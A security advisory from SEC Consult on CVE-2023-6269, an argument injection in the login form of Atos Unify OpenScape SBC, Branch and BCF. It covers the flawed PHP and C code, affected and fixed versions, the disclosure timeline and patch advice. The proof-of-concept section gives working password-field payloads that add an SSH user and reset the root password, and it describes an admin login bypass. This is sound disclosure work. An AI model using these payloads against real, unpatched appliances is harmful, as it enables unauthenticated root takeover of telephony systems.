Argument injection vulnerability in multiple Atos Unify OpenScape products


Argument injection leading to unauthenticated RCE and authentication bypass


Atos Unify OpenScape Session Border Controller (SBC), Atos Unify OpenScape Branch, Atos Unify OpenScape BCF

Vulnerable Version

OpenScape SBC before V10 R3.4.0, OpenScape Branch before V10 R3.4.0, OpenScape BCF V10 before V10R10.12.00 and V10R11.05.02

Fixed Version

OpenScape SBC V10 R3.4.0 or higher, OpenScape Branch V10 R3.4.0 or higher, OpenScape BCF V10R10.12.00 or higher, V10R11.05.02

CVE Number







Armin Weihbold (Office Linz) | SEC Consult Vulnerability Lab

A critical argument injection vulnerability has been identified in the administrative web interface of the Atos Unify OpenScape products Session Border Controller, Branch, and BCF. This allows an unauthenticated attacker to gain root access to the appliance via SSH and also bypass authentication in the administrative interface and gain access as an arbitrary (administrative) user.

Vendor description

"Unify is the Atos brand for communication and collaboration solutions Unify is the newest member of the Atos family, combining Atos’ knowledge and reputation in the IT services market with Unify’s expertise in unified communications and collaboration to provide customers with seamless services solutions for their entire digital portfolio. Within Atos, Unify continues to deliver a unique integrated proposition for unified communications and real time capabilities."


Business recommendation

SEC Consult recommends users of this solution to immediately install the latest patch from the vendor. Furthermore, an in-depth security analysis performed by security professionals is highly advised, as the software may be affected from other security issues.

Vulnerability overview/description

1) Argument injection leading to unauthenticated RCE and authentication bypass (CVE-2023-6269)

The administrative web interface insufficiently escapes supplied login credentials before passing them to a user management application, leading to an unauthenticated attacker being able to gain root access to the appliance via SSH.

Another possibility to exploit this vulnerability is to append a special argument during logon to completely bypass the authentication of the web interface. A previously unauthenticated attacker can logon as administrator without any known credentials.

Proof of concept

1) Argument injection leading to unauthenticated RCE and authentication bypass (CVE-2023-6269)

Example 1) Gaining unauthenticated SSH root access

The file receiving data from the login page is `auth.php`, here the user-provided credentials are passed on to the function `PasswordMgr::authPassword` after some checks on the supplied username.

// /srv/www/htdocs/auth.php
// [...]
    $error = '';
// [...]
    if( !sessionLimitReached() )
        // Authenticate user/password...
        $privilege = PasswordMgr::getUserPrivilege($local_user);
        if (($local_user == 'assistant') || ($local_user == 'cdr') || (!PasswordMgr::isUserEnabled($local_user))){
            $ret = false;
        else {
            switch ($privilege) {
                case 'admin':
                    $ret = PasswordMgr::authPassword($_POST["username"], $_POST["password"], $error, $real_user, $local_user, FALSE);
                // [...]
        // [...]
// [...] 

The function `PasswordMgr::authPassword` in `core/PasswordMgr.php` is just a wrapper around `call_osbpasswd` in the same file.

// /srv/www/htdocs/core/PasswordMgr.php

public static function authPassword($username, $password, &$error, &$real_user, &$local_user, $local = FALSE)
    if ( PasswordMgr::call_osbpasswd("auth", $username, $password, $error, $real_user, $local_user, $local ) )
        $error='Current Password does not match user';
        return false;
    return true;

The function `call_osbpasswd` is responsible for anything related to user management, it does this by constructing shell arguments and supplying them to the executable `/osb/bin/osbpasswd` which is executed with root privileges via `cfgUtilExecSudo`. This executable handles the actual authentication, creation of users, and other tasks.
In the case of authentication the arguments are written to a temporary file and read from there. Before that the supplied password is escaped using `escapeshellcmd` instead of `escapeshellarg`. This means that space characters (hex 0x20) in the password are left intact allowing for argument injection.

// /srv/www/htdocs/core/PasswordMgr.php

public static function call_osbpasswd( $method, $username, $password, &$output, &$real_user, &$local_user, $local, $extraArg = '' )
    // [...]
    $curruser = 'GUI';
    // [...]

    $params = "$method";
    if ($local)          $params .= ' --local';
    if ($username != '') $params .= " --user $username";
    if ($curruser != '') $params .= " --curruser $curruser";
    if ($extraArg != '') $params .= "$extraArg";

    $file = '';
    // [...]
    else {
        $params .= " --password ";
        $fakePar = $params."xxxxxx";
        $params .= escapeshellcmd($password);
        $params .= "\n";
        $file = tempnam('/osb/var/tmp','osbpasswd.'.md5($params).'.');
        /*E.g.: /opt/openbranch/var/tmp/osbpasswd.f9e2a9fcf29c6275830257316d560e27.CG4IcQ */
        cfgUtilEcho( $params, $file );
        $command = "/osb/bin/osbpasswd ".$fakePar." --file ".$file;

    $outArray = array();
    $ret = cfgUtilExecSudo($command, $outArray, FALSE, TRUE);
    // [...]
    return $ret;

The function that is responsible for parsing command line arguments in the called application `/osb/bin/osbpasswd` iterates over arguments and sets global variables based on them. This is done in a loop and no check is done if that argument was already set. This means an attacker can override all parameters by specifying them again.

int parse_arguments(int argc, char **argv, int n)
  // [...]
  while ( n < argc && argv[n] ) {
    // [...]
    else if ( !strcmp("--user", argv[n]) ) {
        if ( ++n < argc )
           arg_user = argv[n];
    else if ( !strcmp("--shell", argv[n]) ) {
        if ( ++n < argc )
            arg_shell = argv[n];
    // [...]
    else if ( !strcmp("auth", argv[n]) ) {
        arg_command_name = argv[n];
        arg_command_number = 1;
    else if ( !strcmp("add", argv[n]) ) {
        arg_command_name = argv[n];
        arg_command_number = 6;
    // [...]
  return 0LL;

The combination of faulty escaping of the supplied password and overly permissive parsing of arguments in the called binary leads to an attacker being able to request arbitrary operations from the `/osb/bin/osbpasswd` binary with arbitrary arguments. An attacker could for example create a new user with SSH access and change the password of the root user leading to a complete compromise of the system.

To demonstrate the vulnerability, it is sufficient to attempt two logins with the username 'administrator' and the following inputs as password:

asdfASDF1! --user pwn add --shell /bin/bash --groups +sshlogin

- this creates a new user with SSH access, the second one with password

asdfASDF1! --user root change

which changes the password of the root user. The attacker can then login via SSH with user `pwn` and password `asdfASDF1!` and `sudo su` with the same password to gain root access.

Example 2) Bypassing the web interface logon as administrator

As described in example 1, the same vulnerability can also be exploited to bypass the logon for the web interface and immediately gain access as administrator because the arguments for the command-line tool are passed and evaluated.

By supplying the username "administrator" (without quotes) and the following password string in the logon mask, it is possible to logon without known credentials:


The string "notPASSWORD1!" can be any string which complies with the password policy in place and the argument "show" needs to be added after a space. Afterwards the attacker is logged on as administrator (or any other supplied user account).

Vulnerable / tested versions

The following version has been tested which was the latest version available at the time of the test:

  • Atos Unify OpenScape Session Border Controler (SBC) Firmware Version V10 R3.3.0

According to vendor, versions before V10 R3.3.0 are affected as well.

The vendor confirmed that the following products are vulnerable:

  • Atos Unify OpenScape SBC V10 before V10 R3.4.0
  • Atos Unify OpenScape Branch V10 before V10 R3.4.0
  • Atos Unify OpenScape BCF V10 before V10R10.12.00 and V10R11.05.02

Vendor contact timeline

2023-09-13 Contacting vendor through email; sending encrypted advisory (S/MIME)
2023-09-25 Call with vendor, patch has already been developed, available internally for testing & QA since 22nd.
2023-09-26 Preliminary vendor security advisory available, giving feedback regarding recommendations. Vendor informs customers in advance (TLP:AMBER), patch planned for 2023-09-27.
2023-10-04 Vendor security advisory public release (TLP:WHITE).
2023-10-06 Asking regarding next steps for affected product Atos Unify OpenScape BCF.
2023-10-10 Vendor confirms that OpenScape BCF is affected as well and added it to their advisory.
2023-11-27 Reserving CVE-2023-6269 and sending it to vendor, defining release date of 5th December.
2023-12-05 Coordinated release of security advisory.
2024-05-21 Added proof of concept again.


The vendor provides a patch for the affected products:

  • Atos Unify OpenScape Session Border Controller Firmware Version V10 >=R3.4.0
  • Atos Unify OpenScape Branch version V10 >=R3.4.0
  • Atos Unify OpenScape BCF version V10 >=V10R10.12.00 and V10R11.05.02

The patches can be obtained for registered customers through the vendor's download server:

Furthermore, the vendor has also released a security advisory which is available here:


In addition to deploying the patch, limit access to the administrative web application and SSH ports to authorized personnel on the network level.

Advisory URL

EOF A. Weihbold / @2023


Interested to work with the experts of SEC Consult? Send us your application

Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices